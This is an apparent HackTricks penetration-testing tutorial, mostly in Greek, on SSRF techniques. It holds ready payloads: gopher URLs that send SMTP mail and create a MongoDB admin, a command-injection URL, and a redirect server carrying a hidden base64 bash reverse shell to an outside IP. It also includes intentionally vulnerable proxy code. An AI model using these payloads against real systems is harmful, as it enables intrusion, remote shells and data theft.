SSRF (Server Side Request Forgery)

Reading time: 26 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Μια ευπάθεια Server-side Request Forgery (SSRF) συμβαίνει όταν ένας επιτιθέμενος χειραγωγεί μια εφαρμογή server-side ώστε να κάνει HTTP αιτήματα σε έναν τομέα της επιλογής του. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετα εξωτερικά αιτήματα που κατευθύνονται από τον επιτιθέμενο.

Capture SSRF

Το πρώτο πράγμα που πρέπει να κάνετε είναι να καταγράψετε μια αλληλεπίδραση SSRF που δημιουργήσατε εσείς. Για να καταγράψετε μια αλληλεπίδραση HTTP ή DNS μπορείτε να χρησιμοποιήσετε εργαλεία όπως:

Whitelisted Domains Bypass

Συνήθως θα διαπιστώσετε ότι το SSRF λειτουργεί μόνο σε ορισμένους εγκεκριμένους τομείς ή URL. Στην παρακάτω σελίδα έχετε μια συγκέντρωση τεχνικών για να προσπαθήσετε να παρακάμψετε αυτήν την έγκριση:

URL Format Bypass

Bypass via open redirect

Εάν ο διακομιστής είναι σωστά προστατευμένος, μπορείτε να παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Ανοιχτή Ανακατεύθυνση μέσα στη σελίδα. Επειδή η ιστοσελίδα θα επιτρέπει SSRF στον ίδιο τομέα και πιθανώς θα ακολουθεί ανακατευθύνσεις, μπορείτε να εκμεταλλευτείτε την Ανοιχτή Ανακατεύθυνση για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο.
Διαβάστε περισσότερα εδώ: https://portswigger.net/web-security/ssrf

Protocols

  • file://
  • Το σχήμα URL file:// αναφέρεται, δείχνοντας απευθείας στο /etc/passwd: file:///etc/passwd
  • dict://
  • Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται απεικονίζει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Το Trivial File Transfer Protocol, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός PHP script σχεδιασμένου να στείλει ένα αίτημα σε έναν διακομιστή TFTP. Ένα αίτημα TFTP γίνεται στο 'generic.com' στην πόρτα '12346' για το αρχείο 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Αυτό το τμήμα καλύπτει το Lightweight Directory Access Protocol, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες πληροφοριών καταλόγου μέσω δικτύων IP. Αλληλεπιδράστε με έναν διακομιστή LDAP στον localhost: '%0astats%0aquit' μέσω ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Περιγράφεται μια μέθοδος εκμετάλλευσης ευπαθειών SSRF για αλληλεπίδραση με υπηρεσίες SMTP στον localhost, συμπεριλαμβανομένων βημάτων για την αποκάλυψη εσωτερικών ονομάτων τομέα και περαιτέρω ερευνητικών ενεργειών με βάση αυτές τις πληροφορίες.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Αν η SSRF εκτελείται από curl, το curl έχει μια δυνατότητα που ονομάζεται URL globbing που θα μπορούσε να είναι χρήσιμη για την παράκαμψη των WAF. Για παράδειγμα, σε αυτήν την writeup μπορείτε να βρείτε αυτό το παράδειγμα για path traversal μέσω του πρωτοκόλλου file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Η ικανότητα του πρωτοκόλλου Gopher να καθορίζει IP, θύρα και bytes για την επικοινωνία με τον διακομιστή συζητείται, μαζί με εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία payloads. Δύο διακριτές χρήσεις απεικονίζονται:

Gopher://

Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το IP, τη θύρα και τα bytes που θέλετε να στείλει ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να επικοινωνήσετε με οποιονδήποτε TCP διακομιστή (αλλά πρέπει πρώτα να ξέρετε πώς να μιλήσετε με την υπηρεσία).
Ευτυχώς, μπορείτε να χρησιμοποιήσετε το Gopherus για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το remote-method-guesser μπορεί να χρησιμοποιηθεί για τη δημιουργία gopher payloads για Java RMI υπηρεσίες.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Επιστροφή σύνδεσης στο 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Δημιουργία χρήστη με όνομα χρήστη=admin με κωδικό=admin123 και με άδεια=administrator

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF μέσω του κεφαλίδας Referrer & Άλλα

Το λογισμικό ανάλυσης στους διακομιστές συχνά καταγράφει την κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που ακούσια εκθέτει τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στην κεφαλίδα Referrer για να αναλύσει το περιεχόμενο των παραπομπών. Για να αποκαλυφθούν αυτές οι ευπάθειες, προτείνεται το πρόσθετο Burp Suite "Collaborator Everywhere", εκμεταλλευόμενο τον τρόπο που τα εργαλεία ανάλυσης επεξεργάζονται την κεφαλίδα Referer για να εντοπίσουν πιθανά επιφάνειες επίθεσης SSRF.

SSRF μέσω δεδομένων SNI από πιστοποιητικό

Μια κακή ρύθμιση που θα μπορούσε να επιτρέψει τη σύνδεση σε οποιοδήποτε backend μέσω μιας απλής ρύθμισης απεικονίζεται με ένα παράδειγμα ρύθμισης Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται άμεσα ως διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια σε Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλά καθορίζοντας τη ζητούμενη διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να αναγκάσει μια σύνδεση σε ένα αυθαίρετο backend, όπως το internal.host.com, χρησιμοποιώντας την εντολή openssl δίνεται παρακάτω:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF με Command Injection

Μπορεί να αξίζει να δοκιμάσετε ένα payload όπως: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Απόδοση PDFs

Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να εισάγετε κάποιο JS που θα εκτελείται από τον ίδιο τον δημιουργό του PDF (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. Βρείτε περισσότερες πληροφορίες εδώ.

Από SSRF σε DoS

Δημιουργήστε πολλές συνεδρίες και προσπαθήστε να κατεβάσετε βαριά αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.

SSRF PHP Functions

Ελέγξτε την παρακάτω σελίδα για ευάλωτες PHP και ακόμη και Wordpress συναρτήσεις:

PHP SSRF

SSRF Redirect σε Gopher

Για ορισμένες εκμεταλλεύσεις μπορεί να χρειαστεί να στείλετε μια απάντηση ανακατεύθυνσης (πιθανώς για να χρησιμοποιήσετε ένα διαφορετικό πρωτόκολλο όπως το gopher). Εδώ έχετε διάφορους κωδικούς python για να απαντήσετε με μια ανακατεύθυνση:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Misconfigured proxies to SSRF

Tricks from this post.

Flask

Flask proxy vulnerable code
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Το Flask επιτρέπει τη χρήση του @ ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη και να εισαχθεί ένα νέο. Αιτούμενο αίτημα επίθεσης:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Ευάλωτος κώδικας:

Ανακαλύφθηκε ότι είναι δυνατό να ξεκινήσει η διαδρομή ενός αιτήματος με τον χαρακτήρα ; που επιτρέπει στη συνέχεια τη χρήση του @ και την εισαγωγή μιας νέας διεύθυνσης για πρόσβαση. Αιτηματική επίθεση:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Built-in Web Server

Ευάλωτος κώδικας PHP
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

Η PHP επιτρέπει τη χρήση του χαρακτήρα * πριν από μια κάθετο στη διαδρομή του URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ριζική διαδρομή / και ότι οι τελείες . δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε hex χωρίς τελείες, για παράδειγμα:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Αν έχετε προβλήματα να εξάγετε περιεχόμενο από μια τοπική IP λόγω CORS/SOP, η DNS Rebidding μπορεί να χρησιμοποιηθεί για να παρακάμψει αυτόν τον περιορισμό:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin είναι ένα εργαλείο για την εκτέλεση επιθέσεων DNS rebinding. Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS ονόματος του επιτιθέμενου με τη διεύθυνση IP της στοχοθετημένης μηχανής και να σερβίρει επιθέσεις για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχοθετημένη μηχανή.

Δείτε επίσης τον δημόσια λειτουργούντα διακομιστή στο http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Απαιτήσεις:

  • SSRF
  • Εξερχόμενες TLS συνεδρίες
  • Πράγματα σε τοπικές θύρες

Επίθεση:

  1. Ζητήστε από τον χρήστη/bot να έχει πρόσβαση σε ένα domain που ελέγχεται από τον επιτιθέμενο
  2. Ο TTL του DNS είναι 0 δευτερόλεπτα (έτσι το θύμα θα ελέγξει ξανά τη διεύθυνση IP του domain σύντομα)
  3. Δημιουργείται μια TLS σύνδεση μεταξύ του θύματος και του domain του επιτιθέμενου. Ο επιτιθέμενος εισάγει το payload μέσα στο Session ID ή Session Ticket.
  4. Το domain θα ξεκινήσει έναν άπειρο βρόχο ανακατευθύνσεων κατά του εαυτού του. Ο στόχος αυτού είναι να κάνει τον χρήστη/bot να έχει πρόσβαση στο domain μέχρι να εκτελέσει ξανά ένα DNS request του domain.
  5. Στο DNS request δίνεται μια ιδιωτική διεύθυνση IP τώρα (127.0.0.1 για παράδειγμα)
  6. Ο χρήστης/bot θα προσπαθήσει να επανιδρύσει τη TLS σύνδεση και για να το κάνει αυτό θα στείλει το Session ID/Ticket ID (όπου περιείχε το payload του επιτιθέμενου). Συγχαρητήρια, καταφέρατε να ζητήσετε από τον χρήστη/bot να επιτεθεί στον εαυτό του.

Σημειώστε ότι κατά τη διάρκεια αυτής της επίθεσης, αν θέλετε να επιτεθείτε στο localhost:11211 (memcache) πρέπει να κάνετε το θύμα να δημιουργήσει την αρχική σύνδεση με www.attacker.com:11211 (η θύρα πρέπει πάντα να είναι η ίδια).
Για να εκτελέσετε αυτή την επίθεση μπορείτε να χρησιμοποιήσετε το εργαλείο: https://github.com/jmdx/TLS-poison/
Για περισσότερες πληροφορίες ρίξτε μια ματιά στην ομιλία όπου εξηγείται αυτή η επίθεση: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Η διαφορά μεταξύ ενός blind SSRF και ενός μη blind είναι ότι στο blind δεν μπορείτε να δείτε την απάντηση του SSRF request. Έτσι, είναι πιο δύσκολο να εκμεταλλευτείτε γιατί θα μπορείτε να εκμεταλλευτείτε μόνο γνωστές ευπάθειες.

Time based SSRF

Ελέγχοντας τον χρόνο των απαντήσεων από τον διακομιστή μπορεί να είναι δυνατό να γνωρίζετε αν υπάρχει ή όχι μια πηγή (ίσως να χρειάζεται περισσότερος χρόνος για να αποκτήσετε πρόσβαση σε μια υπάρχουσα πηγή από ότι σε μια που δεν υπάρχει)

Από blind σε πλήρη εκμετάλλευση κωδικών κατάστασης

Σύμφωνα με αυτήν την ανάρτηση στο blog, μερικά blind SSRF μπορεί να συμβούν γιατί ακόμα και αν η στοχοθετημένη URL απαντά με κωδικό κατάστασης 200 (όπως τα AWS metadata), αυτά τα δεδομένα δεν είναι σωστά μορφοποιημένα και επομένως η εφαρμογή μπορεί να αρνηθεί να τα δείξει.

Ωστόσο, διαπιστώθηκε ότι στέλνοντας κάποιες απαντήσεις ανακατεύθυνσης από 305 έως 309 στο SSRF μπορεί να είναι δυνατό να κάνετε την εφαρμογή να ακολουθήσει αυτές τις ανακατευθύνσεις ενώ εισέρχεται σε κατάσταση σφάλματος που δεν θα ελέγχει πλέον τη μορφή των δεδομένων και μπορεί απλώς να τα εκτυπώσει.

Ο διακομιστής python που χρησιμοποιείται για να εκμεταλλευτεί αυτό είναι ο εξής:

python
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Βήματα:

  • Πρώτα το 302 κάνει την εφαρμογή να αρχίσει να ακολουθεί.
  • Στη συνέχεια λαμβάνει 305 → 306 → 307 → 308 → 309 → 310.
  • Μετά τον 5ο παράξενο κωδικό, το PoC τελικά επιστρέφει 302 → 169.254.169.254 → 200 OK.

Τι συμβαίνει μέσα στον στόχο:

  • Το libcurl ακολουθεί τα 305–310; απλά κανονικοποιεί τους άγνωστους κωδικούς σε “ακολουθία.”
  • Μετά από N παράξενες ανακατευθύνσεις (≥ 5 εδώ) ο δικός του περιτύλιγμα της εφαρμογής αποφασίζει ότι “κάτι δεν πάει καλά” και αλλάζει σε λειτουργία σφάλματος που προορίζεται για αποσφαλμάτωση.
  • Σε αυτή τη λειτουργία, εκτυπώνει ολόκληρη την αλυσίδα ανακατεύθυνσης συν το τελικό σώμα πίσω στον εξωτερικό καλούντα.
  • Αποτέλεσμα: ο επιτιθέμενος βλέπει κάθε κεφαλίδα + το μεταδεδομένο JSON, αποστολή ολοκληρωμένη.

Σημειώστε ότι αυτό είναι ενδιαφέρον για να διαρρεύσουν κωδικοί κατάστασης που δεν μπορούσατε να διαρρεύσετε πριν (όπως ένα 200). Ωστόσο, αν με κάποιο τρόπο μπορούσατε επίσης να επιλέξετε τον κωδικό κατάστασης της απάντησης (φανταστείτε ότι μπορείτε να αποφασίσετε ότι τα μεταδεδομένα AWS απαντούν με κωδικό κατάστασης 500), μπορεί να υπάρχουν κάποιοι κωδικοί κατάστασης που διαρρέουν άμεσα το περιεχόμενο της απάντησης.

Εκμετάλλευση Cloud SSRF

Αν βρείτε μια ευπάθεια SSRF σε μια μηχανή που τρέχει μέσα σε ένα περιβάλλον cloud, μπορεί να είστε σε θέση να αποκτήσετε ενδιαφέρουσες πληροφορίες σχετικά με το περιβάλλον cloud και ακόμη και διαπιστευτήρια:

Cloud SSRF

Ευάλωτες Πλατφόρμες SSRF

Πολλές γνωστές πλατφόρμες περιέχουν ή έχουν περιέχει ευπάθειες SSRF, ελέγξτε τις σε:

SSRF Vulnerable Platforms

Εργαλεία

SSRFMap

Εργαλείο για την ανίχνευση και εκμετάλλευση ευπαθειών SSRF

Gopherus

Αυτό το εργαλείο δημιουργεί payloads Gopher για:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser είναι ένας σαρωτής ευπαθειών Java RMI που υποστηρίζει επιθέσεις για τις πιο κοινές ευπάθειες Java RMI. Οι περισσότερες από τις διαθέσιμες λειτουργίες υποστηρίζουν την επιλογή --ssrf, για να δημιουργήσουν ένα payload SSRF για την ζητούμενη λειτουργία. Μαζί με την επιλογή --gopher, έτοιμα προς χρήση payloads gopher μπορούν να παραχθούν άμεσα.

SSRF Proxy

